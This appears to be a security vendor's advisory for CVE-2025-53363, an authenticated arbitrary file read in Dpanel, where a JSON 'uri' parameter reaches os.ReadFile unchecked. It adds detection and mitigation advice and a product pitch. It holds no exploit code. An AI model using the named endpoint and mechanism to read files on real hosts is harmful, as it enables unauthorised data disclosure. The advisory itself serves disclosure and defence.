Description
Summary
Dpanel has an arbitrary file read vulnerability in the /api/app/compose/get-from-uri interface.Logged in to Dpanel ,this interface can be used to read arbitrary files.
Details
When a user logs into the administrative backend, this interface can read any files on the host/sever (given the necessary permissions), which may lead to system information leakage. The vulnerability lies in the GetFromUri function within the app/application/http/controller/compose.go file. The uri parameter submitted by the user in JSON format can be directly read and returned by os.ReadFile without proper security handling.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/donknap/dpanel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/donknap/dpanel has shipped for CVE-2025-53363 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-53363 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-53363. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-53363 in your dependencies?
O3 Security finds CVE-2025-53363 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.
